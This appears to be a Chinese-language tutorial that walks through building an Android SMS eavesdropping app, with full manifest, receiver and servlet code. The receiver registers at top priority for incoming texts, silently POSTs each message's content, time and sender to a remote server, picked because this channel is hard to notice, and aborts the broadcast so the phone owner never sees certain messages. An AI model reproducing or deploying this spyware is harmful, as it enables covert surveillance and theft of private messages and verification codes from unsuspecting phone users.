当系统收到短信时,会发出一个广播Intent,Intent的action名称为android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,
我们使用名称“pdus”既可以从Intent中户取到短信内容
一种将窃听的短信以短信转发的方式将短信发送给窃听者,需要走短信通道,所以扣除用户的费用,容易被发现。
一种将窃听的短信息发送到web应用,因为走的是互联网络通道,所以无法查询访问了哪些网站,数据量较少,产生的流量费也不多,所以这种方式比较好。
这里选用第二种方式
普通广播
完全异步的,可以在同一时刻(逻辑上)被所欲接收者接收到,相对有序广播消息传递的效率比较高,缺点:接收者不能将处理结果传递给下一个接收者,
并且无法终止广播Intent的传播。
有序广播
按照接收者声明的优先级别,被接收者依次接收广播。如:A的优先级高于B,B的优先级高于C,那么,广播先传给A,再传给B,最后传给C。优先级别在
<intent-filter>的android.priority属性中声明,数值越大优先级越高,取值范围:-1000到1000,优先级别也可以调用IntentFilter对象的setPrority()进行设置。
有序广播的接收者可以终止广播Intent的广播,广播Intent一旦终止,后面跟的接收者就无法接收到广播。另外,有序广播的接收者可以将数据传递给下一个
接收者,如:A得到广播后,可以往它的结果独享中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。
Context.sendBroadcast()
发送的是普通广播,所有订阅者都有机会获得并进行处理
Context.sendOrderedBroadcast()
发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播。
对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象。然后传给下一个接收者,下一个接收者通
过代码:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。
系统受到短信,发出的广播属于有序广播。所以可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。
演示过程:
开启两个Android模拟器,将该***发布到一个模拟器5554上,用另外一个模拟器5556向5554发送信息,可以看到在控制台上打印了信息内容,时间,发送者等信息,而5554却没有任何响应,即没有收到信息
发现的错误:
在注册广播时,将intent-filter的配置在了<receiver>外面,以至于没有注册成功,无法启动SMSBroadcastReceiver,在服务端一直未获得数据。
AndroidMainfest.xml
进行广播接收注册,短信,网络访问权限以及意图匹配
在<intent-filter>的android.priority属性中进行优先级声明,这里为最大1000
<application android:label="@string/app_name" android:icon="@drawable/ic_launcher" android:theme="@style/AppTheme"> <receiver android:name = ".SMSBroadcastReceiver"> <!-- 意图过滤器 --> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.INTERNET"/>
短信广播接收者
在本应用中不需要创建Activity,只需创建一个短信接收继承自广播接收者即可
在该类中提供了:
获取短信息以及其更具体信息的方法
由于我们要将信息发送到网络上,所以创建一个实现该功能的方法sendSMS2Web,该方法主要实现如何发送请求,以及请求的实体数据向服务器,以便获得服务
package cn.xushuai.smslistener; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLEncoder; import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsMessage; //接收短信的广播接收者 public class SMSBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for(Object obj : pdus){ byte[] pdu = (byte[]) obj;//将对象转换为字节数组 SmsMessage message = SmsMessage.createFromPdu(pdu);//使用pdu格式的数据生成短信对象 String content = message.getMessageBody(); Date date = new Date(message.getTimestampMillis());//获取发送时间 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String receiveTime = format.format(date);//获取指定格式发送日期 String senderNumber = message.getOriginatingAddress();//发送者的号码 System.out.println(receiveTime+".."+senderNumber); //将数据发送到网络 sendSMS2Web(content,receiveTime,senderNumber); if("15555215556".equals(senderNumber)){ abortBroadcast(); } } } private boolean sendSMS2Web(String content, String receiveTime,String senderNumber){ try{ //构建实体数据 String params = "content="+URLEncoder.encode(content, "UTF-8")+ "&receivetime="+receiveTime+"&sendernumber="+senderNumber; byte[] entity = params.getBytes(); String path = "http://10.1.8.153:8080/SMSServer/ReceiveSMSServlet"; HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection(); conn.setConnectTimeout(5000); conn.setRequestMethod("POST"); conn.setDoOutput(true);//允许对外输出数据 conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); conn.getOutputStream().write(entity); if(conn.getResponseCode()==200){ return true; } }catch(Exception e){ e.printStackTrace(); } return false; } }
服务器
使用tomcat服务器创建一个web服务器,并提供一个ReceiveSMSServlet来提供信息的处理,这里打印到控制台
package cn.xushuai.servlet; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class ReceiveSMSServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request,response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String content = request.getParameter("content"); String receiveTime = request.getParameter("receivetime"); String senderNumber = request.getParameter("sendernumber"); System.out.println("短信内容:"+content); System.out.println("接收时间:"+receiveTime); System.out.println("短信发送者:"+senderNumber); } }